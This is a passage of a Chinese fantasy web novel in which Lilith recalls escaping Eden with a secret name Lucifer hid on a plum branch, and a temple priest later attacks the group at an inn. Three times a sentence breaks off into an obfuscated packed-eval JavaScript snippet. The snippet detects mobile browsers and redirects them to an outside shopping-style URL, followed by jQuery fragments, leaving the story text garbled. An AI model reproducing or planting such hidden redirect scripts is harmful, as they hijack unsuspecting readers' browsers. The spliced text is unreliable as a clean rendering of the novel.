那又为何追着? 阿斯蒙蒂斯耸耸肩,还是笑嘻嘻的:“送你一程呀。” “送我?去哪儿?”莉莉丝狐疑道。 阿斯蒙蒂斯指着一个方向:“莱洛温王城,去过吗?”他伸手比划,“挺繁华的,人特别多。” 莉莉丝冷冷地看着他:“路西法陛下不是让你来抓我回去的?” “莉莉丝,你是聪明人。”阿斯蒙蒂斯收回手,环抱胸前,“若没有陛下默许,你以为你走得出地狱?” “他想要什么?”莉莉丝反而越发提起精神,不敢恍惚。 她可不认为撒旦陛下是一位常发善心的仁君。 ——尤其是在她还有曾盗窃他的信物假传命令的罪行下。 “做你想做的事。”阿斯蒙蒂斯笑起来,“陛下知道你最恨什么,这不是给你送了机会来?莉莉丝,你可要好好把握啊。” 莉莉丝霎时明白了路西法的用意。 她想起自己的出逃经历,倒抽一口冷气,背脊发凉,扯了扯嘴角:“他……还真是可怕。” 蓦地,她盯着笑眯眯的阿斯蒙蒂斯:“你就没有怕过他吗?” “……有啊,当然有。”阿斯蒙蒂斯挠挠脸,心虚不已。 他犯错的时候怕得不行。 “不是那种怕。”莉莉丝阴冷道,“阿斯蒙蒂斯,你追随他很久了吧?从天国到地狱,你都跟着他一起,你觉得你真的了解他吗?” “难道,你了解?”阿斯蒙蒂斯一脸好奇,小心翼翼问道,“那你……说说看?” 莉莉丝目光幽暗,仿佛地狱最寂静之地。 “你以为,当年的路西菲尔,当真纯洁善良吗?” 20. 明言暗语 当年莉莉丝还在伊甸园时,曾见过路西菲尔一次。 那是她还在为神谕之下注定的命运而焦虑的时候。看守伊甸园的天使们没有人能理解她的忧愁,无论莉莉丝说什么,他们都只会公式化地安慰,莉莉丝都快能背出他们安慰的话语,闭着眼睛都能想出他们几乎统一的温和的神态表情。 ——然后决不允许她在没有神谕同意下擅自踏出伊甸园一步。 距离创世神定下的日期越来越近,莉莉丝每每看到茫然懵懂的亚当,心中的厌恶烦躁都更多几分。 但她只如笼中困兽,除了日复一日地痛苦着,什么也做不了。 路西菲尔是在那个定下的日期的前一天傍晚,突然来到伊甸园的。 那时,莉莉丝正坐在比逊河畔,望着水面上随波荡漾的夕阳余晖,莫大的恐慌与无助笼上心头。 亚当被她几句话就哄得兴高采烈地自己去了别处乱逛,而她独自在此,却没有一丝轻松,反而更加痛苦烦恼。 比逊河水流清澈,映出她美艳的面容,也映出她满目的焦躁。 明天太阳升起的时候,就是定下的时间。 这世上没有谁能反抗创世神的旨意。 但她就是……不愿意。 她厌恶亚当,就连看到他,都会觉得不适。 更别提成为伴侣。 只是,她无计可施。 莉莉丝不知不觉攥紧了手边的一丛绿植,在她最为痛苦难耐时,忽地听见了看守伊甸园的天使们的声音。 那是与平时例行工作时截然不同的鲜活雀跃,她回过神,起身躲到一棵树后,朝着声音传来那面望去—— 看守天使们围着一个灿金长发的身影,来人虽也是一身白衣,其上却有金银双色的纹路,彰显着最高阶天使的身份,细细看去,那白衣上还有浅色暗纹,犹如附了日月光辉,流转间熠熠生彩,赤金长链交缠在他腰间,坠出一段,其下嵌着纯澈如碧波,绿如翡翠的叶状饰品,随他步伐微微晃动,悠然自得。 她不自觉地抓紧树干。 是路西菲尔,传说中高贵端庄,温柔善良的天国副君,创世神最喜爱,也最倚重的天使。 莉莉丝虽然自诞生起一直只在伊甸园中,却也听见过不少关于路西菲尔的传闻。 他比她想象的还要优雅美貌。 “我只是来选几枝梅花,你们平日辛苦,早些休息,不必在此陪着我。” 路西菲尔如传闻般亲和体贴,看守天使们看向他的目光充满崇敬,见他坚持,才依依不舍地退下。 莉莉丝借着躲在树后,目不转睛地看着他闲庭信步般走向梅林。 伊甸园中没有流转的四季,不同时节的花木都一齐盛放,永不凋谢。 所有花木都期待路西菲尔的青睐,拼命舒展身姿,探出枝叶去挽留他的步伐。 路西菲尔指尖轻轻点过它们,却还是只朝梅林而去。 莉莉丝远远跟着他,看着他精心挑选,折下三五枝傲然绽放,香气扑鼻的千叶红梅。 它们正因得他青睐而兴奋。 路西菲尔抱着那几枝千叶红梅,沿着比逊河缓缓漫步,驻足欣赏河面落日。 昏黄余晖透过湖面映在他面容上,为他再镀上一层光辉。 莉莉丝屏住呼吸,唯恐惊扰这副美景。 须臾,她却听见美景中最重要的一环开口,温声道:“跟了我这么久,还不打算出来吗?” 莉莉丝一惊,思考后还是走了出来,垂着头道:“……抱歉,我打扰您了。” “伊甸园本就是你生活的地方,我才是外来者,若说打扰,也是我打扰你,你又何须道歉。”路西菲尔言语含笑,叫她不觉间渐渐抬起头来。 “我记得……你叫莉莉丝,对么?” 莉莉丝点点头,心里暗暗有些高兴。 路西菲尔殿下竟然知道她的名字。 “我听闻,父神有意促成你与亚当,还未恭喜你。”路西菲尔一句笑言,却恰击中她心里最痛苦之处,她一下表情变得有些控制不住的难堪。 路西菲尔似是发觉了她的不对劲,颇为惊讶,道:“莉莉丝,你好像有心事?不妨告诉我,兴许我能为你解决。” 莉莉丝抬头,看着他温柔的缥碧色眼眸,下意识就要将烦恼脱口而出。 然而出口之前,她咬住唇,生生止住。 ……不行,路西菲尔殿下是父神最爱重的天使,他没有任何理由违拗父神的旨意。 放眼整个天国,路西菲尔殿下是最不可能背叛父神的天使。 大概,他也只会如那些看守天使一样,象征性地安慰她。 可这样安慰的话,她已经听了太多,听得厌倦,再也不想听了。 尤其不想从路西菲尔殿下那里听见。 所以,莉莉丝只是摇了摇头,强颜欢笑:“……没有。” “好吧,看来你不愿意告诉我。”路西菲尔轻声叹道。 莉莉丝低下头,努力克制住眼中泪光。 在路西菲尔殿下面前落泪,也太丢脸了。 蓦地,她眼前出现了一枝梅花。 “送给你,这是伊甸园中最美的梅花,纵使在最寒冷的冬日处境中也能盛放,希望它能带给你生活下去的力量。” 莉莉丝接过梅花,紧紧握在掌心。 “明日梅塔要举办一场盛大的宴会,几乎所有天使都收到了邀请函,伊甸园的看守天使们也不例外,这里大约只会留一两个天使轮流值班,你若想出来走走,记得带好这枝梅花,它很美,就算是米迦勒也定会为它折服的。” 她囫囵地记下,但脑中一片混乱。 路西菲尔见状,也不再多言,叫她心里更乱,只温声与她道别,抱着折下的梅花离去。 莉莉丝抬起满是泪花的眼望着他的背影,明日所有天使都会有开心的一天,但她…… 等等! 伊甸园,只会留有一两个看守天使? 莉莉丝睁大双眼,她几乎不可置信地看着路西菲尔的身影,心脏狂跳不止。 他,到底是有意,还是无意的? 莉莉丝没有多想这件事。 她满心想的,只有一定要抓住机会。 错过这一次,她就必须要服从于既定的命运了。 她捏紧了那枝梅花,却忽地觉得它的枝节有些硌手。 不对,伊甸园中的梅花,自然情况下绝不会这样。 她连忙举起它细看,却从那细细梅枝上隐隐约约看见了几个字符。 那几个字符组合在一起毫无意义,她横看竖看也看不出其中含义。 但路西菲尔绝不会做多余的事。 蓦地,她心里陡然有了个猜测。 这像…… ——一个名字。 难道,难道是…… 她为自己的猜测惊得口干舌燥,不自禁地咽了口水。 路西菲尔,他为什么要这么做? 难道他真就这么善良,为了她这个一面之缘的人类,就愿意背叛一直虔诚侍奉的创世神? 不可能,绝不可能。 但她想不出来是为了什么。 她索性抛开,细细思考起第二日的计划。 路西菲尔所言果真不假,次日清晨,她便只看见了两个看守天使留在伊甸园外。 莉莉丝回头看了看即将升起的朝阳,下定了决心。 莉莉丝不知是不是路西菲尔的安排,她逃走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091864|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得非常顺利。 天国派出的追捕她的军队直到碧海列岛之边才追到她。 莉莉丝仰头看着为首一脸肃然的米迦勒,心头无比紧张。 她知道,只能赌一把,若不能赢,那就只能死。 在米迦勒的十字剑对准她之时,莉莉丝迎着碧海的狂风,近乎嘶吼着喊出了那个名字。 刹那间,天地翻覆! 狂风卷浪,吞天噬地,乌云骤起,遮天蔽日,雷声大作,凌厉之势几乎劈开整个天际。 缓缓,一只金色巨目在天幕睁开,无情地审视着天地间的一切。 似有万千吟哦声从四面八方响起,大大小小,如真如幻,若近若远,透过双耳,贯彻脑海,穿过全身。 在那金色巨目之下,莉莉丝只觉自己仿佛整个被剖开,分毫必现,无处掩藏。 她只能颤抖着伏下|身,双唇哆嗦着,说不出一个字。 竟然、竟然是真的…… “莉莉丝,从今起,你再不能活于日光之下,惟有长夜是你永恒的归处。” 没有斥责,没有询问,只有冰冷无情的宣判。 创世神的声音威严庄重,如最厚重的岁月与最无垠的广域,直直击入所听者脑中。 莉莉丝克制不住地颤抖,哑着嗓子道:“……谢父神宽恕。” 米迦勒见状,干脆利落地带着军队返程。 又徒留她一人。 莉莉丝怔怔愣愣地看着天幕,金色巨目早已消失,但她心中满是疑问。 路西菲尔,他是怎么知道的? 他……又为什么要这么做? 莉莉丝想了很久,久到她成了地狱身负盛名的魔女,某一日,才突然明白。 路西菲尔,如今的地狱之主路西法。 他,是想借她激怒创世神。 ……从一开始,那么早的开始,甚至更早之前,路西菲尔,就已经心存背叛之意。 或者,在创世神将那个隐秘的名字告诉他的时候,他就已经想好了如何背叛。 莉莉丝忽地癫狂地笑起来。 父神,无所不知无所不能的父神,您竟然……也有这一天啊。 您竟然,也会如我凡人一般,被感情蒙蔽! 莉莉丝目光满是冷意,紧盯着阿斯蒙蒂斯:“路西菲尔,从来都不是你们以为的那样……” 她要说出来。 她要打碎那个近乎完美的形象,看到阿斯蒙蒂斯他们震惊痛苦的模样,她才会获得扭曲的快意。 阿斯蒙蒂斯却抬手,微微挑眉:“莉莉丝,你确定,你要指控路西菲尔殿下?” 莉莉丝一愣。 “指控路西菲尔殿下,和指控路西法陛下,可不是同一等的罪名。”阿斯蒙蒂斯勾起唇角,却不见笑意,“莉莉丝,我劝你,想清楚再开口。” 莉莉丝浑身一凛。 ……对。 创世神,是主动将那个名字告诉路西菲尔的。 祂不可能不知道是路西菲尔泄露了这个名字。 但天国什么都没有发生。 “……算我欠你一个人情。”莉莉丝哑声道。 阿斯蒙蒂斯笑容满面:“好呀好呀,那你以后遇到长得好看的人记得先不要杀,留给我看看再说哦。” 莉莉丝默不作声,转身朝着他指的莱洛温王城方向而去,没有半点犹豫。 “早这样老实不就好了,非得被吓一吓才识趣。”阿斯蒙蒂斯嘟哝了一句,伸了个懒腰。 他才不要知道路西菲尔殿下的真面目。 他始终坚信,知道的越多,死得越快。 尤其是关于路西菲尔殿下的一切。 那可是……“那位”,的禁忌。 21. 破风而来 阿亚颇为心疼地看着依旧回不过神的狄曼图雅。 她试探性地伸出手,然而当她指尖碰到狄曼图雅肩上时,狄曼图雅惊叫一声,瑟瑟发抖地缩了起来。 阿亚一愣,还要安慰她,却被不知何时醒来的塞里加请到一边,他则自己上前,握住了狄曼图雅的肩头,将她慢慢搂进怀中,低声道:“小姐,没事了,想要伤害你的人已经走了,她不会再回来了。” “是吗?”路西法忽地嘲弄笑道,“你拿什么保证?” 塞里加一噎,他确实无法保证。 他连对方到底为何要杀狄曼图雅都不知道。 不过,魔女杀人,哪里需要多么具体的理由? 一时兴起,杀就杀了。 狄曼图雅却很是信任他,她靠在他怀中小声抽泣起来。 路西法最厌恶性情软弱不堪的人类,见状眉心微拧,嫌弃地转身离开。 安慰狄曼图雅这种事,绝对没他的份。 他若留在这里,只会让狄曼图雅反思为什么自己这么脆弱无用,不能识破甚至反杀莉莉丝。 伊勒沙代安静地跟在他身后。 “你从方才起就一言不发,这可不像你的性格。”路西法瞥向他,“怎么,你也觉得她无能?” “狄曼图雅小姐是一个普通的人类,没有法力,而且年岁尚小,阅历不多,被莉莉丝蒙骗也是情理之中,这并不能怪她。”伊勒沙代温声道,“相信她经过这一次的生死劫难,也会有所成长。” “不见得,有些人就是不会谨记教训的。”路西法语气冷漠,很明显,他认为狄曼图雅就是那种人。 伊勒沙代叹道:“怀有赤子之心,永远一腔热忱,友好善良地对所有遇见的人,这世上也需要这样的人类。” “愚不可及。” 路西法点评完,却未听见伊勒沙代反驳,不禁回身,却恰撞入他微微含笑的湛蓝眸中。 莫名其妙。 一定是在天国待傻了。 狄曼图雅终于在塞里加陪伴下入眠,约里和阿亚都识趣地离开。 约里都已回到房间关上门,一回头看见斜躺在床上搔首弄姿的阿斯蒙蒂斯,吓了一跳,这才又想起来刚才忘了的事。 阿斯蒙蒂斯抛了个媚眼:“今晚,我们要共度良宵……” 约里后背贴紧房门,冷汗直冒。 他下意识又想骂阿斯蒙蒂斯变|态,但又想到,阿斯蒙蒂斯变|态归变|态,但他可是大名鼎鼎的地狱魔王,甚至是在各种传说中都有一席之地的那种。 他只是一个普通人类,如何能与他抗衡? 约里向来藏不住事,阿斯蒙蒂斯光看他的表情便猜到他的想法,翻了个白眼:“怕什么呀?我又不吃人,我还特别喜欢人类,我敢说,你就是找遍全地狱,也找不到第二个像我这样对人类友好的魔王了。” 他这番自吹自擂叫约里满脸嫌弃,但也放松了些。 这一路来,他个人看着,阿斯蒙蒂斯虽然的确变|态了点,但性情也是真的好,他们几乎摆在明面上嫌弃他,他也没恼羞成怒,仗着魔王的威能要将他们几个如何。 不过,这倒让他更好奇,阿斯蒙蒂斯当初为何会选择背叛天国? 明明……他好像也没那么凶恶。 “因为我向往爱情,而天国不容许爱情。”阿斯蒙蒂斯看出他所想,丝毫不以为忤,兴致勃勃道,“按天国的规定,天使不该有这样会影响公正判断履行职责的感情,不然就要日日受刑,直至悔改为止,那我不可受不了,所以呢,我就选择追随我们陛下一起去地狱了。” 他说得轻巧,约里却想,阿斯蒙蒂斯向往的,恐怕不是什么正经的爱情吧? “不相信?真让我伤心。”阿斯蒙蒂斯装模作样地捂住心口,好似当真心痛。 约里懒得看他,索性自己往房中的椅子上一躺,早早休息,平复今天波动的心情。 阿斯蒙蒂斯却不满意了,强行挤到那张椅子上,贴近他耳边:“离我那么远做什么?这椅子多硬,哪有床上柔软舒服,你累了一天,怎么也要好好休息才对呀。” “我睡床的话你会睡椅子吗?”约里反问。 “你舍得让我睡椅子?”阿斯蒙蒂斯挤出两滴眼泪。 舍得,太舍得了。 约里闭上眼,不想理他。 阿斯蒙蒂斯没有就此放弃,甚至还贴得更近,他眼睛一眨,想出个主意来,清了清嗓子:“我的身份你也知道了,我们陛下是何人你也该清楚。” 约里没有回答,但阿斯蒙蒂斯从他身上感受到了“害怕”的情绪。 撒旦陛下恶名远扬,何人不知何人不晓? 约里回想起路西法素日一言一行,心头尽是后怕。 现在想来,他便如招摇于市井,鳞片极尽美丽的毒蛇,所有举动都彰显着危险,只是他从前未曾发现…… 不好! 先生大约还不知道他的身份! 约里猛地睁眼,不顾阿斯蒙蒂斯被他撞得快要跌下椅子,就要急匆匆朝门外去。 却被阿斯蒙蒂斯拽着衣角抓了回来。 “想告诉你们那个先生,是不是?” 约里瞪着他,论起与伊勒沙代相关的事,他霎时也顾不上恐惧,全是勇气。 阿斯蒙蒂斯“啧”了一声:“你怎么总是该聪明的时候不聪明,光有一腔勇气?像家犬似的,除了护主,别的什么都不知道了。” “你才像狗!”约里气愤地甩开他的手,“你们到底有什么阴谋?你们想从先生那里得到什么?” “好好好,我是狗。但我说你笨,你得承认。”阿斯蒙蒂斯把他衣角握得更紧,“你自己也不想想,你们先生,像是寻常人吗?” 约里一愣。 似乎…… 确实不像。 仅那令万兽退避的能力,就是寻常人不可能拥有的了。 “你就不好奇,他一直瞒着你的秘密是什么?”阿斯蒙蒂斯引|诱他,“你以为你们同生共死,已经无话不谈,可他不曾告诉你的事,又何止一桩?” 约里却完全不上钩:“恶魔,少挑拨离间,我不会听的,我永远相信先生!” 阿斯蒙蒂斯见他目光坚定,便将话术转了个弯,笑道:“你急什么?我是想说,你对他不够了解,也不知道他的目标,如何能帮助他?” 约里听罢,当真有些气馁。 是啊,先生无所不能,而他又有什么用? 从认识以来,他还没有帮上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091865|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过先生任何事。 阿斯蒙蒂斯趁热打铁:“但我就不一样了,我,堂堂魔王,这点小事,怎么难得了我?我可以告诉你。” 约里将信将疑,对他不太信任:“那你又为什么要告诉我?” “哪有那么多为什么,我看你喜欢,就告诉你了。”阿斯蒙蒂斯继续抛媚眼,“只要你今晚和我一起睡床上,明早我就告诉你。” 约里有些意动,但阿斯蒙蒂斯实在有点…… “放心,我绝对不会对你做任何事,我再告诉你一个秘密,如我这样的恶魔,若是对着父神起誓,违背之后必然会立刻遭到加倍的天罚,你大可安心。” 阿斯蒙蒂斯满脸真诚。 但约里还是有些不信。 经文里面都写了,恶魔说起谎来都是面不改色心不跳的。 阿斯蒙蒂斯还要再劝,却蓦地皱起眉,表情一肃。 约里警惕地看着他,心里嘀咕,这恶魔又想玩什么花招? 他可不上当。 “有破风的声音。”阿斯蒙蒂斯眉头紧皱,难得脸上没了嬉笑,“怪事,这人类还挺有能耐的。怎么会来这儿?” 约里听得一脸茫然。 而阿斯蒙蒂斯已经站起身,正要交代他几句,恰是时,约里睁大眼睛。 他也听见了破风声! 好像…… 越来越近了! 他慌乱地左顾右盼,却猛地被阿斯蒙蒂斯一推。 约里跌跌撞撞地靠在墙上,张口还未说出一字,眼前便掠过一道残影。 ——直直地撞进了旅店的墙壁里。 约里目瞪口呆,朝着那方望去,却见那满地碎砖烟尘其中一团黑影,仔细看去……似乎,是一个人? 那团黑影动了动,从墙里滑下,撕心裂肺地咳嗽起来,鲜血不断从他四肢百骸流出。 约里眼见到那人似是伤势破重,连忙要上前扶起他,却被不知何时出现在他身边的阿斯蒙蒂斯又是一拽。 他回头欲骂,一枝箭却恰恰好擦过他侧脸,冰凉锋利的箭矢划出一道长长的血痕。 约里瞪大眼睛,反应不过来。 方才,死亡,好像就离他一指之间。 若非阿斯蒙蒂斯,那枝箭一定会射穿他的喉咙。 “感谢的话可以留着,以后再说。”阿斯蒙蒂斯轻哼一声,“他们打架,你个凡人总是上去凑什么热闹,真是怕自己死得不够快么?” 约里说不出话来。 旅店房间的外墙被那黑衣人砸了个穿,惨白的月光清晰可见,约里还未平复心情,便见那缺口处月影中,又添一抹人影。 约里抬头望去,眼中映出一个手持长弓的白衣青年。 他长发如金丝织成的名贵绸缎,肌骨如冰似雪,长睫垂下,一双碧色眼眸冷漠又嘲讽地瞥向那黑衣人。 比起路西法、阿斯蒙蒂斯,甚至是伊勒沙代,这青年虽也容貌俊美,但却更具有“人类”的感觉。 而且是出身不凡的人类。 约里从未见过这般人物,他下意识想着,阿斯蒙蒂斯不会又对着他犯老毛病吧? 他紧张地往旁边看去,只见阿斯蒙蒂斯…… ——露出了一副生吞苍蝇似的表情? 22. 专属猎物 白衣,金发,碧眸,倨傲。 阿斯蒙蒂斯一句“我的父神啊”堵在嗓子里。 待一寸一寸仔仔细细看清白衣青年的脸后,阿斯蒙蒂斯跳得快从胸腔里蹦出来的心脏才缓缓平复。 ……老天,也不是很像。 大概也就是那么百分之一。 太可怕了。 就这百分之一,都简直要吓死魔了。 这难道是莉莉丝暗地里对他的诅咒吗? 就不该让那个身负罪罚的疯女人多说话的。 说什么来什么,好的不灵坏的全应。 阿斯蒙蒂斯暗暗长出一口气。 不过就是这百分之一,恐怕也是个不定时的引爆点。 这里出了动静,陛下一定会来,他得在陛下来之前把这人赶走才行。 在阿斯蒙蒂斯观察那白衣青年期间,他也抽空往这边看了一眼,但也只是一眼,随即便移开目光,专注地盯着那地上的黑衣人。 “比起束手就擒,我还是更欣赏垂死挣扎的你。” 白衣青年不紧不慢地走近:“聂厄曼,你确实很不错,能在我手下撑到现在,我承认,你已经超过了大部分废物。” 但也不过只是个稍微厉害些的废物。 聂厄曼听得懂他的言下之意。 他费力地撑起身,勉强坐起来,咬牙怒道:“利安维亚,你如此傲慢张狂,犯了七罪之首,如何还能做侍奉神明的神职?” 约里被这话提醒,才去看利安维亚的衣服,果真看见了圣洁高贵的白蔷薇。 约里一怔。 他虽出身小镇,却也被普及过这方面的知识。 他看得出,这是……圣殿的标志。 而且,是最高级别的。 他不可置信地看着利安维亚。 这个狠辣傲慢的年轻人,竟然,是传说中悲悯众生的圣殿的最高祭祀之一? 但他的震惊丝毫不能撼动利安维亚。 “聂厄曼,追逐游戏到此为止,你该为背叛圣殿付出代价了。” 利安维亚徐徐从背后抽|出一柄长剑。 他不将这里任何人放在眼里,认定他的猎物无处可逃。 ——然而他连剑都未能全部拔|出。 利安维亚双眉紧皱,怀疑的目光在连站起来的力气都不够的聂厄曼身上转了一圈,随即落到了吊儿郎当地靠在一旁的阿斯蒙蒂斯身上。 阿斯蒙蒂斯见他看过来,清了清嗓子:“你好,我是恶魔。” 利安维亚看着他,碧色眸中缓缓浮现一点疑惑。 ……这位圣殿祭祀是不是耳朵不好使啊? “我说,我是恶魔。”阿斯蒙蒂斯加重语气,重复了一遍,附加解释,“就是住在地狱里面,经常出来为祸人间的……” “我不瞎,看得出来。”利安维亚冷漠地打断了他。 这下换阿斯蒙蒂斯一脸匪夷所思:“那你不来打我?” 怎么,难道在他们当代人类心里,恶魔已经不是首要消灭对象了吗? 他还纳闷着,利安维亚已经不想同他多说。 恶魔嘛,脑子不正常是正常的。 “聂厄曼,我竟不知何时你早已与恶魔勾结了。”利安维亚微微眯起眼,目光中满是审视与嘲弄,“看来你素日的清高,也都不过是乔装,比起你最看不起的所谓汲汲营营之辈还不如,至少他们是不会与恶魔为伍的。” 阿斯蒙蒂斯瞠目结舌,他回想了下,自己好像没说过或暗示过他认识这人吧? 但他突然想起一句话。 “欲加之罪,何患无辞”。 聂厄曼很明显是受不了这毫无理由的指控的,他情绪激动,俯身又咳出一大口鲜血:“利安维亚,你可以杀了我,但绝不能如此污蔑我!” 他们拉扯间,阿斯蒙蒂斯听到了隐约的脚步声,心中一紧,不再顾忌,抬手聚起法力,要将利安维亚从那破损的洞口处推出去。 管他掉到哪里,反正别让陛下看见他就行。 然而利安维亚早有防备,他方才不过是试探阿斯蒙蒂斯是否是为了保护聂厄曼而来,在聂厄曼否认他与阿斯蒙蒂斯相识后,他便明白阿斯蒙蒂斯是为了阻拦他而出手,于是便一直防备着。 他反应极快,侧身躲过阿斯蒙蒂斯的偷袭,眉心紧皱。 他能感觉到阿斯蒙蒂斯身上气息莫测,很明显是一个极强的恶魔,甚至……可能是一位魔王。 但他自认从未见过阿斯蒙蒂斯,更不必说得罪,阿斯蒙蒂斯为何要阻拦? 莫非……他与圣殿有过节? 无论利安维亚如何猜测,他也不会想到,阿斯蒙蒂斯动手,仅仅是因为他的相貌。 乍看之下,像一个不该像的人。 但正如阿斯蒙蒂斯不久前所说,利安维亚的确有些本事,起码阿斯蒙蒂斯想不制造出动静地把他推出去,一时半会儿还真做不到。 阿斯蒙蒂斯越发着急,最后干脆闪身靠近,利安维亚早已发觉他想将他从那墙上洞中丢出去,索性紧紧贴住背后的墙面。 阿斯蒙蒂斯眉头一皱,单手拎起利安维亚,就要把他连着墙面一起摁出去。 利安维亚抓住他的手腕,拼命反抗。 恰在此时,他们身后的门把手传来轻轻转动的声音,来者没有敲门,径直打开了房门。 几人中唯一有空的约里匆忙回头,只见四人都齐齐站在门口。 伊勒沙代在看纠缠的阿斯蒙蒂斯与利安维亚。 而路西法…… 正聚精会神地观察伊勒沙代。 利安维亚连着他背后的墙都被阿斯蒙蒂斯朝外按出一个倾斜的弧度,碧色眸中满是恼怒和不可置信。 这个角度会更像一点。 然而,他没有看到预想中的反应。 伊勒沙代并没有过多关注利安维亚。 只像在看一个从未见过的陌生人。 路西法颇觉遗憾。 不过相对于他们的表面平静暗潮汹涌,狄曼图雅却是反应激烈得多。 她看清利安维亚的脸之后,表情一僵,顾不得其他,拽着塞里加就要立刻离开。 利安维亚也看见了她,趁着阿斯蒙蒂斯回头紧张地观察路西法的神情时挣脱了束缚,不过这次,他没有再对他已确定在劫难逃的聂厄曼动手,而是闪身挡住了狄曼图雅的去路。 “大小姐,您真是叫人难找啊。”利安维亚眯起眼,看向狄曼图雅时如端起武器的猎手,“让我猜猜,这次,又是为了这个奴隶?” 狄曼图雅全神戒备,将塞里加护在身后:“利安维亚,我做什么都跟你没有关系。” 她还未从刚才的生死险境中缓过神,乍然又情绪波动,一时间眼前发黑,头晕目眩。 伊勒沙代不动声色地伸手,在她眉心一点,霎时,她心神一片清明。 利安维亚这才注意到旁边还有人。 他目光落在伊勒沙代耳边,忽地眼神一凝。 下一刻,他走到还伏在地上的聂厄曼身旁,拎起他的衣领:“你千辛万苦跑来这里,就是为了他吧?” 聂厄曼咬牙克制口中血腥:“我不知道你在说什么。” “是吗?那我帮你回想一下。”利安维亚靠得更近,逼视他的眼睛,一字一顿,“‘天命所归之人,必将挣脱桎梏,浴火为王。’” 聂厄曼很明显不是个擅长说谎的人,他慌张地避开了利安维亚的目光,这也让利安维亚确认了他的猜想。 “太可笑了,聂厄曼,你竟然真的相信,‘天命’会落在狡诈肮脏,卑劣低贱的祭山族奴隶身上。” 利安维亚毫不留情的嘲讽让聂厄曼脸色涨红,但他也不善于与人争辩,憋了半天只道:“利安维亚,你不能这样说他们,父神慈爱,无差别庇护我们每个人类,我们生来都应是没有区别的!” 他此言一出,最先忍不住的竟然不是利安维亚。 阿斯蒙蒂斯不禁一下笑出了声,随即又意识到现在的场合不太对,连忙清咳一声,假装若无其事。 利安维亚却没放过他:“看,你这番话,连恶魔都觉得滑稽。” 利安维亚丢开聂厄曼的衣领,缓缓站起身,半垂下的碧色眼眸漫不经心:“容许你多活一刻吧。” 聂厄曼惊讶地抬头,忽地,他想到了什么,顾不得自己浑身尚在渗血的惨状,一面艰难地去捡方才掉落在远处的手杖,一面怒道:“快走!” 然而他出言已晚,利安维亚已经冷不丁不知从何处抽|出一把短刀,直直刺向伊勒沙代! 不管他究竟是不是那个人,只要杀了,就能永绝后患。 约里全然没料到利安维亚竟会突然对伊勒沙代出手,情急之下,他连忙要跑过去,挡在伊勒沙代身前。 却被阿斯蒙蒂斯拽了回来。 利安维亚动手极快,他对伊勒沙代的杀意远超过对聂厄曼,在场人类几乎都未反应过来,恶魔冷眼旁观。 而伊勒沙代本人,一动未动,直到那刀尖抵上他胸前的一刻,他都没有任何反应。 利安维亚十分意外,警觉有诈,但又不愿意放过这难逢的机会,暗暗使力,定要这刀刃一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091866|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿|透伊勒沙代的胸腔! ——但他看见的,却是这圣殿特制的刀刃眨眼之间化为齑粉。 “他的性命,属于我。” 在这道声音出现之前,利安维亚全然没有发现,此处还有一个“人”。 他缓缓转头,恰与那双殷红的竖瞳对上。 冰冷,无情,如看一件死物。 比猛兽更凶恶,比毒蛇更危险。 竖瞳的主人所说的每一个字都如裹了亘古坚冰的寒意,悄无声息爬上他的脊背。 这是位远比阿斯蒙蒂斯可怕上万倍的存在。 利安维亚凭借自己出色敏锐的辩识能力迅速做出了判断。 他杀不了伊勒沙代了。 利安维亚丢掉刀柄,利落地…… 翻出外窗的洞跑了。 太过果断,以至于阿斯蒙蒂斯看得一愣:“他这也跑得太干脆了吧?” 不过想想,他要是再多留,什么目标都达不到,还有可能被围殴,真不如直接跑了损失最小。 真是个识时务的家伙啊。 阿斯蒙蒂斯啧啧称奇,他许久没来过人间,对圣殿的印象还停留在一群古板啰嗦的老头上,竟不知何时圣殿多了个这么灵活变通的人才。 他目送利安维亚的身影远去,刚兴致勃勃回头要寻人说话,却见这屋里空空荡荡,竟是只剩了他一个,还有破洞外寒冷的夜风。 不是吧? 他觉得他刚才的表现挺迷人的呀! 阿斯蒙蒂斯哀叹一声,倍感凄凉孤独。 路西法偏过头,看向身侧一直相随的伊勒沙代,似笑非笑:“怕了,想和我住一起?” 伊勒沙代摇头:“以后这种事不会少的。” 路西法哼笑:“是啊,但我不会时时都在,所以你害怕的话,现在就可以自尽,趁早回天国。” “我并没有害怕。”伊勒沙代淡然道,“我亦不会有纠结、犹豫、紧张、胆怯、逃避、退缩的情绪。” “那耶和华对你挺差的。”路西法无情评判道。 一个合格的工具不需要多余的情绪,所以不会给予。 这也是……绝大部分天使的模样。 或者说,差不多所有的天国生灵。 